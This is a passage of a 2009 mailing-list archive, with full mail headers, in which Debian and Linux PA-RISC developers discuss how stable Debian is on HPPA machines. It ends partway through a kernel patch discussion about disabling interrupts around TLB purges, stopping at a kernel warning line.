	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CE1558EE11B;
	Fri, 12 Jun 2009 07:16:28 -0700 (PDT)
In-Reply-To: <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1738 gmane.linux.debian.ports.hppa:5744 gmane.linux.debian.devel.release:30732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1738>

On Fri, 2009-06-12 at 09:55 +0200, Bart Schelstraete wrote:
> Hello all,
> 
>  Everybody is talking about the 'random crashes' and 'segfaults' in
> the HPPA version.
>  Over here I'm using the hppa on a small HP-UX workstation, and that
> has an uptime of 542 days!.
>  So it's not that unstable.
>  I even need to say that I had a lot more crashes with the x86 version
> then with the hppa version.

It seems to be related to what machine you actually have.  I run a B180
as my network gateway, handling firewall, web,
postfix/postgrey/spamassassin at quite a high volume on a domain.  I
also used to run it with a PCMCIA wireless card just for chuckles and
grins (although I stopped that two years ago when I got a linksys).  It
runs debian testing and has been completely stable.  I only reboot it
for updates and in the seven or so years I've been doing this, I haven't
had any segfaults or crashes ... have to say I only started using debian
kernels on it for the last four or so years, because there used to be
big problems with the ones they built.

>  Just to say that I'm personally not so unhappy with deb hppa, and
> that not everything is bad.

I think the main class of problem machines are anything with SMP ...
unfortunately, I don't have one, so can't verify.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Fri, 12 Jun 2009 09:35:45 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20090612153544.GA27867@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com> <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com> <1244816185.4184.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244820953 19896 80.91.229.12 (12 Jun 2009 15:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2009 15:35:53 +0000 (UTC)
Cc: Bart Schelstraete <bart@schelstraete.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 12 17:35:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MF8nE-0005kk-Ig
	for glpp-linux-parisc@gmane.org; Fri, 12 Jun 2009 17:35:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754490AbZFLPfo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Jun 2009 11:35:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752382AbZFLPfo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 12 Jun 2009 11:35:44 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:51689 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756104AbZFLPfn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Jun 2009 11:35:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7D1BE33E0056;
	Fri, 12 Jun 2009 09:35:45 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EbrS+F5Ay47J; Fri, 12 Jun 2009 09:35:45 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 2AFEE33E0058; Fri, 12 Jun 2009 09:35:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1244816185.4184.3.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1739 gmane.linux.debian.ports.hppa:5745 gmane.linux.debian.devel.release:30734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1739>

On Fri, Jun 12, 2009 at 09:16:25AM -0500, James Bottomley wrote:
> On Fri, 2009-06-12 at 09:55 +0200, Bart Schelstraete wrote:
> > Hello all,
> > 
> >  Everybody is talking about the 'random crashes' and 'segfaults' in
> > the HPPA version.
> >  Over here I'm using the hppa on a small HP-UX workstation, and that
> > has an uptime of 542 days!.
> >  So it's not that unstable.
> >  I even need to say that I had a lot more crashes with the x86 version
> > then with the hppa version.
> 
> It seems to be related to what machine you actually have.

And the load - buildds for unstable seem to trip over issues that we
don't see elsewhere.

>   I run a B180
> as my network gateway, handling firewall, web,
> postfix/postgrey/spamassassin at quite a high volume on a domain.  I
> also used to run it with a PCMCIA wireless card just for chuckles and
> grins (although I stopped that two years ago when I got a linksys).  It
> runs debian testing and has been completely stable.  I only reboot it
> for updates and in the seven or so years I've been doing this, I haven't
> had any segfaults or crashes ... have to say I only started using debian
> kernels on it for the last four or so years, because there used to be
> big problems with the ones they built.
> 
> >  Just to say that I'm personally not so unhappy with deb hppa, and
> > that not everything is bad.
> 
> I think the main class of problem machines are anything with SMP ...
> unfortunately, I don't have one, so can't verify.

We've tried both SMP and non-SMP kernels.

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Szymanski <skibrianski@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Sat, 13 Jun 2009 08:19:06 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <4A33993A.70108@gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com> <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com> <1244816185.4184.3.camel@mulgrave.site> <20090612153544.GA27867@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------090909020907050102040005"
X-Trace: ger.gmane.org 1244895583 15550 80.91.229.12 (13 Jun 2009 12:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Jun 2009 12:19:43 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>, 
 Bart Schelstraete <bart@schelstraete.org>,
 HPPA porters <debian-hppa@lists.debian.org>, 
 Debian Release <debian-release@lists.debian.org>,
 admin@debian-ports.org, linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Jun 13 14:19:39 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MFSCt-0005z8-Md
	for debian-hppa@m.gmane.org; Sat, 13 Jun 2009 14:19:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 01B472D8AD5; Sat, 13 Jun 2009 12:19:35 +0000 (UTC)
Old-Return-Path: <skibrianski@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-8.8 required=4.0 tests=FOURLA,GMAIL,HTML_MESSAGE,
	LDOSUBSCRIBER,LDO_WHITELIST autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id A918113A5D49
	for <lists-debian-hppa@liszt.debian.org>; Sat, 13 Jun 2009 12:19:28 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-4.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, GMAIL=1, HTML_MESSAGE=1,
	LDO_WHITELIST=-5] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 3gwlH0vyYORb for <lists-debian-hppa@liszt.debian.org>;
	Sat, 13 Jun 2009 12:19:24 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.9
Original-Received: from qw-out-1920.google.com (qw-out-1920.google.com [74.125.92.150])
	by liszt.debian.org (Postfix) with ESMTP id 1986C13A5D63;
	Sat, 13 Jun 2009 12:19:17 +0000 (UTC)
Original-Received: by qw-out-1920.google.com with SMTP id 14so1663706qwa.18
        for <multiple recipients>; Sat, 13 Jun 2009 05:19:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :content-type;
        bh=uv4Xv4NbvjRQGRZujFx06Kv1BreN48MC+DRLNM02wnk=;
        b=nq/EBh0ioARPPHKKl33SDdDOXflloy/ZGAErlHl35jFt+xqLavchEccA+wCJrnqmwn
         wrd8UWseDRn5kKUuL7LYjhpmCoffL6IxDYQD+G4GES63UVTHR0JtU7cLquuInt1BUAo7
         qghSf/r3q7YcRC8CdVkS0L4beomtOxmJ1iGcE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type;
        b=RHnMnEtFoLi7NUcXVsBkGqQiiriGn/gBcSJfKykKiEtXzJLw5UGVpIcGMAKmxPZFHl
         hxOtD7gqQsWpHUuljOmz6wc8bfAnDbYhzMb85DA5iadZMVE03+g6Yiz7Ajv6VVyUEmlH
         Jjc5wravHjIDi3/T+Q6fR1raiH6uMB/56zLXM=
Original-Received: by 10.224.19.197 with SMTP id c5mr5382332qab.178.1244895555025;
        Sat, 13 Jun 2009 05:19:15 -0700 (PDT)
Original-Received: from ?192.168.1.249? ([96.231.216.101])
        by mx.google.com with ESMTPS id 6sm1758970qwk.20.2009.06.13.05.19.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 13 Jun 2009 05:19:14 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (X11/20090409)
In-Reply-To: <20090612153544.GA27867@lackof.org>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <76KNGyi_M8E.A.uQE.Wl5MKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6744
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 13 Jun 2009 12:19:35 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5746 gmane.linux.debian.devel.release:30750 gmane.linux.ports.parisc:1740
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1740>

This is a multi-part message in MIME format.
--------------090909020907050102040005
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

dann frazier wrote:
> On Fri, Jun 12, 2009 at 09:16:25AM -0500, James Bottomley wrote:
>   
>>>  Just to say that I'm personally not so unhappy with deb hppa, and
>>> that not everything is bad.
>>>       
>> I think the main class of problem machines are anything with SMP ...
>> unfortunately, I don't have one, so can't verify.
>>     
>
> We've tried both SMP and non-SMP kernels.
>   

FWIW, I've a j6700, running with an SMP kernel from testing, and it's
been rock solid for me.


-- 
Brian Szymanski
email:  skibrianski@gmail.com

Ex cibus merda. Ex merda humus. Ex humus cibus.


--------------090909020907050102040005
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
dann frazier wrote:
<blockquote cite="mid:20090612153544.GA27867@lackof.org" type="cite">
  <pre wrap="">On Fri, Jun 12, 2009 at 09:16:25AM -0500, James Bottomley wrote:
  </pre>
  <blockquote type="cite">
    <blockquote type="cite">
      <pre wrap=""> Just to say that I'm personally not so unhappy with deb hppa, and
that not everything is bad.
      </pre>
    </blockquote>
    <pre wrap="">I think the main class of problem machines are anything with SMP ...
unfortunately, I don't have one, so can't verify.
    </pre>
  </blockquote>
  <pre wrap=""><!---->
We've tried both SMP and non-SMP kernels.
  </pre>
</blockquote>
<br>
FWIW, I've a j6700, running with an SMP kernel from testing, and it's
been rock solid for me.<br>
<br>
<br>
<pre class="moz-signature" cols="72">-- 
Brian Szymanski
email:  <a class="moz-txt-link-abbreviated" href="mailto:skibrianski@gmail.com">skibrianski@gmail.com</a>

Ex cibus merda. Ex merda humus. Ex humus cibus.
</pre>
</body>
</html>

--------------090909020907050102040005--



From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 14 Jun 2009 20:29:14 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <7d01f9f00906141129h35e90347r90fb5e415654544d@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com>
	 <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com>
	 <1244816185.4184.3.camel@mulgrave.site>
	 <20090612153544.GA27867@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245004530 28075 80.91.229.12 (14 Jun 2009 18:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Jun 2009 18:35:30 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Bart Schelstraete <bart@schelstraete.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 14 20:35:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MFuY8-0004jY-Kt
	for glpp-linux-parisc@gmane.org; Sun, 14 Jun 2009 20:35:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756504AbZFNSfU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Jun 2009 14:35:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756991AbZFNSfU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 14 Jun 2009 14:35:20 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.157]:59922 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756368AbZFNSfT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Jun 2009 14:35:19 -0400
Original-Received: by fg-out-1718.google.com with SMTP id d23so260829fga.17
        for <linux-parisc@vger.kernel.org>; Sun, 14 Jun 2009 11:35:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=aBY9iJKgRE+GpCWuRd5/69XpxISbwdfcJR18egDrBmI=;
        b=aoedf9jWhq8oN85yY6ysaeBJMIPVPcQkQztWNFaUeUdwzlnzpfWQwqrWPTxifc1lDC
         2wLxea33oHCjcjnXSqDyxD4z+lSt6u9aZUT2aEyvo6YKoeM/vVwyJ2aRsIOjXgsamrxd
         +WQyGAX025s7LMC6SG7Yx+S0lgQZ8gXGIYJq4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=nc/bxqzdmq0mc37/AHpR3ks6YmzpfEu9RiTeARo4OlWOm/pZne1vTAS+UXXrvnNaPm
         JAfkml9qSHElw7z5k2TVgpL6dB+4idlZPiM/0Cc084SEKea79ufg4QL6DiL12EPbtwp9
         zqWzlmAZHD3c73wFTBdhgPzmWzg5aioWibWbY=
Original-Received: by 10.239.133.77 with SMTP id 13mr499697hbu.67.1245004154399; Sun, 
	14 Jun 2009 11:29:14 -0700 (PDT)
In-Reply-To: <20090612153544.GA27867@lackof.org>
X-Google-Sender-Auth: 4cd594fdfc27d289
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1741 gmane.linux.debian.ports.hppa:5747 gmane.linux.debian.devel.release:30766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1741>

On Fri, Jun 12, 2009 at 5:35 PM, dann frazier<dannf@dannf.org> wrote:
> On Fri, Jun 12, 2009 at 09:16:25AM -0500, James Bottomley wrote:

>> It seems to be related to what machine you actually have.
>
> And the load - buildds for unstable seem to trip over issues that we
> don't see elsewhere.

"Workload" more to the point. Almost all my parisc boxen have been
running BOINC for years and never puked on it. I'm quite convinced the
issues buildds are suffering are much less random than people believe.
It's more likely that they are very uncommon corner cases.

FWIW, afaik "lafayette" - the autobuilder I recently provided - seems
to be running mostly fine. And as far as I (as the local admin) am
concerned, I believe my "response" time to problems (such as when the
first hardware that was committed to this autobuilder failed beyond
salvation and had to be entirely replaced) is acceptable. Let me know
if that weren't true ;-)

HTH
T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 14 Jun 2009 12:39:39 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20090614183939.GA22340@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com> <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com> <1244816185.4184.3.camel@mulgrave.site> <20090612153544.GA27867@lackof.org> <7d01f9f00906141129h35e90347r90fb5e415654544d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245004791 28688 80.91.229.12 (14 Jun 2009 18:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Jun 2009 18:39:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Bart Schelstraete <bart@schelstraete.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 14 20:39:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MFucI-0006Eu-To
	for glpp-linux-parisc@gmane.org; Sun, 14 Jun 2009 20:39:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755329AbZFNSji (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Jun 2009 14:39:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756368AbZFNSji
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 14 Jun 2009 14:39:38 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:60646 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754900AbZFNSji (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Jun 2009 14:39:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5DF1A33E004D;
	Sun, 14 Jun 2009 12:39:40 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AcBAZH4vSRDg; Sun, 14 Jun 2009 12:39:40 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 0718A33E0069; Sun, 14 Jun 2009 12:39:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00906141129h35e90347r90fb5e415654544d@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1742 gmane.linux.debian.ports.hppa:5748 gmane.linux.debian.devel.release:30767
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1742>

On Sun, Jun 14, 2009 at 08:29:14PM +0200, Thibaut VARENE wrote:
> On Fri, Jun 12, 2009 at 5:35 PM, dann frazier<dannf@dannf.org> wrote:
> > On Fri, Jun 12, 2009 at 09:16:25AM -0500, James Bottomley wrote:
> 
> >> It seems to be related to what machine you actually have.
> >
> > And the load - buildds for unstable seem to trip over issues that we
> > don't see elsewhere.
> 
> "Workload" more to the point.

Yes, workload is what I meant.

> Almost all my parisc boxen have been
> running BOINC for years and never puked on it. I'm quite convinced the
> issues buildds are suffering are much less random than people believe.
> It's more likely that they are very uncommon corner cases.
> 
> FWIW, afaik "lafayette" - the autobuilder I recently provided - seems
> to be running mostly fine. And as far as I (as the local admin) am
> concerned, I believe my "response" time to problems (such as when the
> first hardware that was committed to this autobuilder failed beyond
> salvation and had to be entirely replaced) is acceptable. Let me know
> if that weren't true ;-)
> 
> HTH
> T-Bone
> 

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Mon, 15 Jun 2009 00:05:19 +0200
Lines: 93
Approved: news@gmane.org
Message-ID: <4A35741F.6000107@gmx.de>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca> <4A2ADEC9.2090403@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245017129 27849 80.91.229.12 (14 Jun 2009 22:05:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Jun 2009 22:05:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 00:05:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MFxpN-0004QQ-VU
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 00:05:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932415AbZFNWFV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Jun 2009 18:05:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932428AbZFNWFV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 14 Jun 2009 18:05:21 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42733 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S932415AbZFNWFT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Jun 2009 18:05:19 -0400
Original-Received: (qmail invoked by alias); 14 Jun 2009 22:05:20 -0000
Original-Received: from mnhm-590ea4df.pool.einsundeins.de (EHLO halden.box) [89.14.164.223]
  by mail.gmx.net (mp021) with SMTP; 15 Jun 2009 00:05:20 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+2j08uf8K2E+L0DWXM6WFCJdfn3rYzDXS0Y77BPp
	lhBHruvAn/niU0
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <4A2ADEC9.2090403@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1743>

On 06/06/2009 11:25 PM, Helge Deller wrote:
> John David Anglin wrote:
>> On the rp3440, the spinlock is definitely needed.  With just
>> preempt_disable/preempt_enable, a crash occurs during bootstrap
>> at the point unused memory is recovered.  Thus, the tlb purge
>> issue referred to in the preceeding comment affects more than
>> just N class.
>>
>> On the otherhand, it doesn't seem necessary to disable interrupts
>> during the purge with UP kernels.
>
> My kernel crashes happened with UP-kernels on a B2000 (1 CPU).
> So, I still have the feeling that it's necessary to disable interrupts
> on UP kernels as well.

Hi Dave,

I did further testing. Especially I wanted to clarify if disabling
interrupts are necessary or not.

To test it, I added a WARN_ON(in_interrupt()) to the purge_tlb_start() macro like this:
+#define purge_tlb_start(flags)	WARN_ON(in_interrupt()); spin_lock_irqsave(&pa_tlb_lock, flags)
and did ran the compile-test which usually hang my system.

The result is that we really need to disable interrupts.
The WARN_ON() did triggered for me again as it always did hang the system.
This is with a UP-kernel (2.6.30-rc8) on a UP-machine (B2000):


Badness at arch/parisc/kernel/cache.c:461



